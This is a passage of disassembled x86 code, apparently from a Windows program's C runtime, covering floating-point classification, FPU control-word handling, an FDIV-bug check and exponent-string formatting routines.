esp, 4 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_426CE7 mov ecx, [ebp+arg_0] mov [ebp+var_20], ecx mov edx, [ebp+arg_8] mov [ebp+var_18], edx mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov ecx, [ebp+arg_10] mov [ebp+var_10], ecx mov edx, [ebp+arg_14] mov [ebp+var_C], edx mov eax, dword ptr [ebp+arg_18] mov dword ptr [ebp+var_8], eax mov ecx, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], ecx push 0FFFFh mov edx, [ebp+arg_20] push edx call sub_427100 add esp, 8 lea eax, [ebp+var_20] push eax call sub_42CE40 add esp, 4 test eax, eax jnz short loc_426CE2 mov ecx, [ebp+arg_0] push ecx call sub_426D10 add esp, 4 loc_426CE2: ; CODE XREF: sub_426C70+64j fld [ebp+var_8] jmp short loc_426D07 ; --------------------------------------------------------------------------- loc_426CE7: ; CODE XREF: sub_426C70+19j push 0FFFFh mov edx, [ebp+arg_20] push edx call sub_427100 add esp, 8 mov eax, [ebp+arg_0] push eax call sub_426D10 add esp, 4 fld [ebp+arg_18] loc_426D07: ; CODE XREF: sub_426C70+75j mov esp, ebp pop ebp retn sub_426C70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426D10 proc near ; CODE XREF: sub_426290+92p ; .nsp0:004263FEp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp [ebp+var_4], 1 jz short loc_426D2E cmp [ebp+var_4], 1 jle short loc_426D46 cmp [ebp+var_4], 3 jle short loc_426D3B jmp short loc_426D46 ; --------------------------------------------------------------------------- loc_426D2E: ; CODE XREF: sub_426D10+Ej call sub_4248A0 mov dword ptr [eax], 21h jmp short loc_426D46 ; --------------------------------------------------------------------------- loc_426D3B: ; CODE XREF: sub_426D10+1Aj call sub_4248A0 mov dword ptr [eax], 22h loc_426D46: ; CODE XREF: sub_426D10+14j ; sub_426D10+1Cj ... mov esp, ebp pop ebp retn sub_426D10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426D50 proc near ; CODE XREF: sub_426C70+Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_426D66 ; --------------------------------------------------------------------------- loc_426D5D: ; CODE XREF: sub_426D50:loc_426D87j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_426D66: ; CODE XREF: sub_426D50+Bj cmp [ebp+var_4], 1Bh jge short loc_426D89 mov ecx, [ebp+var_4] mov edx, dword_451930[ecx*8] cmp edx, [ebp+arg_0] jnz short loc_426D87 mov eax, [ebp+var_4] mov eax, off_451934[eax*8] jmp short loc_426D8B ; --------------------------------------------------------------------------- loc_426D87: ; CODE XREF: sub_426D50+29j jmp short loc_426D5D ; --------------------------------------------------------------------------- loc_426D89: ; CODE XREF: sub_426D50+1Aj xor eax, eax loc_426D8B: ; CODE XREF: sub_426D50+35j mov esp, ebp pop ebp retn sub_426D50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426D90 proc near ; CODE XREF: sub_426290+4Ap ; .nsp0:004263B2p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and eax, 20h test eax, eax jz short loc_426DA7 mov [ebp+var_4], 5 jmp short loc_426DFA ; --------------------------------------------------------------------------- loc_426DA7: ; CODE XREF: sub_426D90+Cj mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_426DBA mov [ebp+var_4], 1 jmp short loc_426DFA ; --------------------------------------------------------------------------- loc_426DBA: ; CODE XREF: sub_426D90+1Fj mov edx, [ebp+arg_0] and edx, 4 test edx, edx jz short loc_426DCD mov [ebp+var_4], 2 jmp short loc_426DFA ; --------------------------------------------------------------------------- loc_426DCD: ; CODE XREF: sub_426D90+32j mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_426DE0 mov [ebp+var_4], 3 jmp short loc_426DFA ; --------------------------------------------------------------------------- loc_426DE0: ; CODE XREF: sub_426D90+45j mov ecx, [ebp+arg_0] and ecx, 2 test ecx, ecx jz short loc_426DF3 mov [ebp+var_4], 4 jmp short loc_426DFA ; --------------------------------------------------------------------------- loc_426DF3: ; CODE XREF: sub_426D90+58j mov [ebp+var_4], 0 loc_426DFA: ; CODE XREF: sub_426D90+15j ; sub_426D90+28j ... mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_426D90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426E10 proc near ; CODE XREF: .nsp0:00426EA9p ; sub_426F80+ECp ... var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov dword ptr [ebp+var_C], eax mov ecx, [ebp+arg_4] mov dword ptr [ebp+var_C+4], ecx mov edx, [ebp+arg_8] add edx, 3FEh mov [ebp+var_4], edx mov eax, [ebp+arg_4+2] and eax, 0FFFFh and eax, 800Fh mov ecx, [ebp+var_4] shl ecx, 4 or eax, ecx mov word ptr [ebp+var_C+6], ax fld [ebp+var_C] mov esp, ebp pop ebp retn sub_426E10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+0Eh] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 mov [ebp-4], ax mov cx, [ebp-4] sub cx, 3FEh mov [ebp-4], cx movsx eax, word ptr [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+0Eh] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 movsx ecx, ax mov edx, [ebp+10h] lea eax, [ecx+edx-3FEh] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_426E10 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+8] mov [ebp-8], eax mov ecx, [ebp+0Ch] mov [ebp-4], ecx mov edx, [ebp+0Eh] and edx, 0FFFFh and edx, 800Fh mov eax, [ebp+10h] shl eax, 4 or edx, eax mov [ebp-2], dx fld qword ptr [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426F00 proc near ; CODE XREF: sub_41CCD0+3Fp ; sub_41CEF0+3Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 7FF00000h jnz short loc_426F19 cmp [ebp+arg_0], 0 jnz short loc_426F19 mov eax, 1 jmp short loc_426F7A ; --------------------------------------------------------------------------- loc_426F19: ; CODE XREF: sub_426F00+Aj ; sub_426F00+10j cmp [ebp+arg_4], 0FFF00000h jnz short loc_426F2F cmp [ebp+arg_0], 0 jnz short loc_426F2F mov eax, 2 jmp short loc_426F7A ; --------------------------------------------------------------------------- loc_426F2F: ; CODE XREF: sub_426F00+20j ; sub_426F00+26j mov eax, [ebp+arg_4+2] and eax, 0FFFFh and eax, 7FF8h cmp eax, 7FF8h jnz short loc_426F4A mov eax, 3 jmp short loc_426F7A ; --------------------------------------------------------------------------- loc_426F4A: ; CODE XREF: sub_426F00+41j mov ecx, [ebp+arg_4+2] and ecx, 0FFFFh and ecx, 7FF8h cmp ecx, 7FF0h jnz short loc_426F78 mov edx, [ebp+arg_4] shl edx, 0Dh test edx, edx jnz short loc_426F71 cmp [ebp+arg_0], 0 jz short loc_426F78 loc_426F71: ; CODE XREF: sub_426F00+69j mov eax, 4 jmp short loc_426F7A ; --------------------------------------------------------------------------- loc_426F78: ; CODE XREF: sub_426F00+5Fj ; sub_426F00+6Fj xor eax, eax loc_426F7A: ; CODE XREF: sub_426F00+17j ; sub_426F00+2Dj ... pop ebp retn sub_426F00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_426F80(double,int) sub_426F80 proc near ; CODE XREF: sub_4268F0+239p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h fld [ebp+arg_0] fcomp dbl_438198 fnstsw ax test ah, 40h jz short loc_426FB0 mov dword ptr [ebp+var_C], 0 mov dword ptr [ebp+var_C+4], 0 mov [ebp+var_4], 0 jmp loc_4270AA ; --------------------------------------------------------------------------- loc_426FB0: ; CODE XREF: sub_426F80+14j mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 7FF0h test eax, eax jnz loc_427079 mov ecx, dword ptr [ebp+arg_0+4] shl ecx, 0Ch test ecx, ecx jnz short loc_426FD9 cmp dword ptr [ebp+arg_0], 0 jz loc_427079 loc_426FD9: ; CODE XREF: sub_426F80+4Dj mov [ebp+var_4], 0FFFFFC03h fld [ebp+arg_0] fcomp dbl_438198 fnstsw ax test ah, 1 jz short loc_426FF9 mov [ebp+var_14], 1 jmp short loc_427000 ; --------------------------------------------------------------------------- loc_426FF9: ; CODE XREF: sub_426F80+6Ej mov [ebp+var_14], 0 loc_427000: ; CODE XREF: sub_426F80+77j mov edx, [ebp+var_14] mov [ebp+var_10], edx loc_427006: ; CODE XREF: sub_426F80+C3j mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 10h test eax, eax jnz short loc_427045 mov ecx, dword ptr [ebp+arg_0+4] shl ecx, 1 mov dword ptr [ebp+arg_0+4], ecx mov edx, dword ptr [ebp+arg_0] and edx, 80000000h test edx, edx jz short loc_427032 mov eax, dword ptr [ebp+arg_0+4] or al, 1 mov dword ptr [ebp+arg_0+4], eax loc_427032: ; CODE XREF: sub_426F80+A8j mov ecx, dword ptr [ebp+arg_0] shl ecx, 1 mov dword ptr [ebp+arg_0], ecx mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_427006 ; --------------------------------------------------------------------------- loc_427045: ; CODE XREF: sub_426F80+93j mov ax, word ptr [ebp+arg_0+6] and ax, 0FFEFh mov word ptr [ebp+arg_0+6], ax cmp [ebp+var_10], 0 jz short loc_427062 mov cx, word ptr [ebp+arg_0+6] or ch, 80h mov word ptr [ebp+arg_0+6], cx loc_427062: ; CODE XREF: sub_426F80+D5j push 0 mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_426E10 add esp, 0Ch fstp [ebp+var_C] jmp short loc_4270AA ; --------------------------------------------------------------------------- loc_427079: ; CODE XREF: sub_426F80+3Fj ; sub_426F80+53j push 0 mov ecx, dword ptr [ebp+arg_0+4] push ecx mov edx, dword ptr [ebp+arg_0] push edx call sub_426E10 add esp, 0Ch fstp [ebp+var_C] mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 movsx ecx, ax sub ecx, 3FEh mov [ebp+var_4], ecx loc_4270AA: ; CODE XREF: sub_426F80+2Bj ; sub_426F80+F7j mov edx, [ebp+arg_8] mov eax, [ebp+var_4] mov [edx], eax fld [ebp+var_C] mov esp, ebp pop ebp retn sub_426F80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4270C0 proc near ; CODE XREF: sub_426420+171p var_4 = word ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi fstsw [ebp+var_4] movsx eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4270C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4270E0 proc near ; CODE XREF: sub_426420+349p var_4 = word ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi fnstsw [ebp+var_4] fnclex movsx eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4270E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427100 proc near ; CODE XREF: sub_41CCD0+11p ; sub_41CCD0+67p ... var_8 = word ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi fstcw [ebp+var_8] mov eax, [ebp+arg_0] and eax, [ebp+arg_4] movsx ecx, [ebp+var_8] mov edx, [ebp+arg_4] not edx and ecx, edx or eax, ecx mov [ebp+var_4], ax fldcw [ebp+var_4] movsx eax, [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_427100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427140 proc near ; CODE XREF: sub_4268F0+25p ; sub_4268F0+50p ... var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_42715D fld tbyte_451A30 fistp [ebp+var_C] wait loc_42715D: ; CODE XREF: sub_427140+11j mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_427177 fstsw ax fld tbyte_451A30 fstp [ebp+var_8] wait fstsw ax loc_427177: ; CODE XREF: sub_427140+25j mov edx, [ebp+arg_0] and edx, 10h test edx, edx jz short loc_42718B fld tbyte_451A3C fstp [ebp+var_8] wait loc_42718B: ; CODE XREF: sub_427140+3Fj mov eax, [ebp+arg_0] and eax, 4 test eax, eax jz short loc_42719E fldz fld1 fdivrp st(1), st fstp st wait loc_42719E: ; CODE XREF: sub_427140+53j mov ecx, [ebp+arg_0] and ecx, 20h test ecx, ecx jz short loc_4271AE fldpi fstp [ebp+var_8] wait loc_4271AE: ; CODE XREF: sub_427140+66j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_427140 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4271C0 proc near ; CODE XREF: sub_41CE10+15p ; .nsp0:0042CF15p push ebp mov ebp, esp push 30000h push 10000h call sub_42CEE0 add esp, 8 pop ebp retn sub_4271C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4271E0 proc near ; CODE XREF: sub_427240:loc_427279p var_1C = dword ptr -1Ch var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov dword ptr [ebp+var_18], 80000000h mov dword ptr [ebp+var_18+4], 4147FFFFh mov dword ptr [ebp+var_8], 0C0000000h mov dword ptr [ebp+var_8+4], 4150017Eh fld [ebp+var_8] fdiv [ebp+var_18] fmul [ebp+var_18] fsubr [ebp+var_8] fstp [ebp+var_10] fld [ebp+var_10] fcomp dbl_437CF8 fnstsw ax test ah, 41h jnz short loc_42722D mov [ebp+var_1C], 1 jmp short loc_427234 ; --------------------------------------------------------------------------- loc_42722D: ; CODE XREF: sub_4271E0+42j mov [ebp+var_1C], 0 loc_427234: ; CODE XREF: sub_4271E0+4Bj mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4271E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427240 proc near ; CODE XREF: sub_41CE10+Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push offset aKernel32 ; "KERNEL32" call dword_4F1358 ; GetModuleHandleA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_427279 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" mov eax, [ebp+var_4] push eax call dword_4F1378 ; GetProcAddress mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_427279 push 0 call [ebp+var_8] jmp short loc_42727E ; --------------------------------------------------------------------------- loc_427279: ; CODE XREF: sub_427240+18j ; sub_427240+30j call sub_4271E0 loc_42727E: ; CODE XREF: sub_427240+37j mov esp, ebp pop ebp retn sub_427240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427290 proc near ; CODE XREF: sub_422D70+6CFp ; DATA XREF: sub_41CE50+21o ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call sub_41E550 add esp, 4 cmp eax, 65h jz short loc_4272F0 loc_4272AA: ; CODE XREF: sub_427290+5Ej mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx cmp dword_4516A8, 1 jle short loc_4272D2 push 4 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call sub_421E50 add esp, 8 mov [ebp+var_C], eax jmp short loc_4272EA ; --------------------------------------------------------------------------- loc_4272D2: ; CODE XREF: sub_427290+2Aj mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_C], edx loc_4272EA: ; CODE XREF: sub_427290+40j cmp [ebp+var_C], 0 jnz short loc_4272AA loc_4272F0: ; CODE XREF: sub_427290+18j mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_8], cl mov edx, [ebp+arg_0] mov al, byte_4516AC mov [edx], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42730B: ; CODE XREF: sub_427290+A2j mov edx, [ebp+arg_0] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+arg_0] mov dl, [ebp+var_8] mov [ecx], dl mov al, [ebp+var_4] mov [ebp+var_8], al mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax test edx, edx jnz short loc_42730B mov esp, ebp pop ebp retn sub_427290 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427340 proc near ; CODE XREF: sub_422D70+6F1p ; DATA XREF: sub_41CE50+Do ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_427344: ; CODE XREF: sub_427340+28j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42736A mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] movsx ecx, byte_4516AC cmp eax, ecx jz short loc_42736A mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_427344 ; --------------------------------------------------------------------------- loc_42736A: ; CODE XREF: sub_427340+Cj ; sub_427340+1Dj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx test ecx, ecx jz loc_427413 loc_427381: ; CODE XREF: sub_427340+6Aj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_4273AC mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 65h jz short loc_4273AC mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 45h jz short loc_4273AC mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_427381 ; --------------------------------------------------------------------------- loc_4273AC: ; CODE XREF: sub_427340+49j ; sub_427340+54j ... mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] sub edx, 1 mov [ebp+arg_0], edx loc_4273BB: ; CODE XREF: sub_427340+8Fj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 30h jnz short loc_4273D1 mov edx, [ebp+arg_0] sub edx, 1 mov [ebp+arg_0], edx jmp short loc_4273BB ; --------------------------------------------------------------------------- loc_4273D1: ; CODE XREF: sub_427340+84j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] movsx edx, byte_4516AC cmp ecx, edx jnz short loc_4273EB mov eax, [ebp+arg_0] sub eax, 1 mov [ebp+arg_0], eax loc_4273EB: ; CODE XREF: sub_427340+A0j ; sub_427340+D1j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx test eax, eax jz short loc_427413 jmp short loc_4273EB ; --------------------------------------------------------------------------- loc_427413: ; CODE XREF: sub_427340+3Bj ; sub_427340+CFj mov esp, ebp pop ebp retn sub_427340 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427420 proc near ; DATA XREF: sub_41CE50+2Bo ; .nsp0:off_451A58o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] fld qword ptr [eax] fcomp dbl_438198 fnstsw ax test ah, 1 jnz short loc_42743F mov [ebp+var_4], 1 jmp short loc_427446 ; --------------------------------------------------------------------------- loc_42743F: ; CODE XREF: sub_427420+14j mov [ebp+var_4], 0 loc_427446: ; CODE XREF: sub_427420+1Dj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_427420 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427450 proc near ; CODE XREF: sub_424CA0+1138p ; DATA XREF: sub_41CE50+17o ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_42747C mov eax, [ebp+arg_8] push eax lea ecx, [ebp+var_8] push ecx call sub_42DA10 add esp, 8 mov edx, [ebp+arg_4] mov eax, [ebp+var_8] mov [edx], eax mov ecx, [ebp+var_4] mov [edx+4], ecx jmp short loc_427494 ; --------------------------------------------------------------------------- loc_42747C: ; CODE XREF: sub_427450+Aj mov edx, [ebp+arg_8] push edx lea eax, [ebp+var_C] push eax call sub_42DA90 add esp, 8 mov ecx, [ebp+arg_4] mov edx, [ebp+var_C] mov [ecx], edx loc_427494: ; CODE XREF: sub_427450+2Aj mov esp, ebp pop ebp retn sub_427450 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4274A0 proc near ; CODE XREF: sub_427930+1Fp var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch lea eax, [ebp+var_14] mov [ebp+var_4], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_42DBD0 add esp, 10h mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_8] add ecx, 1 push ecx mov edx, [ebp+var_4] xor eax, eax cmp dword ptr [edx], 2Dh setz al mov ecx, [ebp+arg_4] add ecx, eax xor edx, edx cmp [ebp+arg_8], 0 setnle dl add ecx, edx push ecx call sub_42DAD0 add esp, 0Ch push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_427520 add esp, 14h mov eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_4274A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427520 proc near ; CODE XREF: sub_4274A0+67p ; sub_427840+9Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 8 movsx eax, [ebp+arg_10] test eax, eax jz short loc_427557 mov ecx, [ebp+arg_C] xor edx, edx cmp dword ptr [ecx], 2Dh setz dl mov eax, [ebp+arg_0] add eax, edx mov [ebp+var_4], eax xor ecx, ecx cmp [ebp+arg_4], 0 setnle cl push ecx mov edx, [ebp+var_4] push edx call sub_427990 add esp, 8 loc_427557: ; CODE XREF: sub_427520+Cj mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 2Dh jnz short loc_427574 mov edx, [ebp+var_4] mov byte ptr [edx], 2Dh mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_427574: ; CODE XREF: sub_427520+43j cmp [ebp+arg_4], 0 jle short loc_427598 mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov al, byte_4516AC mov [edx], al loc_427598: ; CODE XREF: sub_427520+58j push offset aE000 ; "e+000" mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] movsx edx, [ebp+arg_10] neg edx sbb edx, edx inc edx add ecx, edx push ecx call sub_41C300 add esp, 8 mov [ebp+var_4], eax cmp [ebp+arg_8], 0 jz short loc_4275C6 mov eax, [ebp+var_4] mov byte ptr [eax], 45h loc_4275C6: ; CODE XREF: sub_427520+9Ej mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_C] mov eax, [edx+0Ch] movsx ecx, byte ptr [eax] cmp ecx, 30h jz loc_42767F mov edx, [ebp+arg_C] mov eax, [edx+4] sub eax, 1 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jge short loc_427601 mov ecx, [ebp+var_8] neg ecx mov [ebp+var_8], ecx mov edx, [ebp+var_4] mov byte ptr [edx], 2Dh loc_427601: ; CODE XREF: sub_427520+D1j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 64h jl short loc_427635 mov eax, [ebp+var_8] cdq mov ecx, 64h idiv ecx mov edx, [ebp+var_4] mov cl, [edx] add cl, al mov edx, [ebp+var_4] mov [edx], cl mov eax, [ebp+var_8] cdq mov ecx, 64h idiv ecx mov [ebp+var_8], edx loc_427635: ; CODE XREF: sub_427520+EEj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx cmp [ebp+var_8], 0Ah jl short loc_427669 mov eax, [ebp+var_8] cdq mov ecx, 0Ah idiv ecx mov edx, [ebp+var_4] mov cl, [edx] add cl, al mov edx, [ebp+var_4] mov [edx], cl mov eax, [ebp+var_8] cdq mov ecx, 0Ah idiv ecx mov [ebp+var_8], edx loc_427669: ; CODE XREF: sub_427520+122j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] add cl, byte ptr [ebp+var_8] mov edx, [ebp+var_4] mov [edx], cl loc_42767F: ; CODE XREF: sub_427520+BBj mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_427520 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427690 proc near ; CODE XREF: sub_427930+3Bp var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch lea eax, [ebp+var_14] mov [ebp+var_4], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_42DBD0 add esp, 10h mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_8] add edx, [ecx+4] push edx mov eax, [ebp+var_4] xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl mov edx, [ebp+arg_4] add edx, ecx push edx call sub_42DAD0 add esp, 0Ch push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_427700 add esp, 10h mov eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_427690 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427700 proc near ; CODE XREF: sub_427690+5Bp ; sub_427840+D9p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_8] mov ecx, [eax+4] sub ecx, 1 mov [ebp+var_8], ecx movsx edx, [ebp+arg_C] test edx, edx jz short loc_427753 mov eax, [ebp+arg_8] xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl mov edx, [ebp+arg_0] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnz short loc_427753 mov ecx, [ebp+var_4] add ecx, [ebp+var_8] mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov byte ptr [edx], 30h 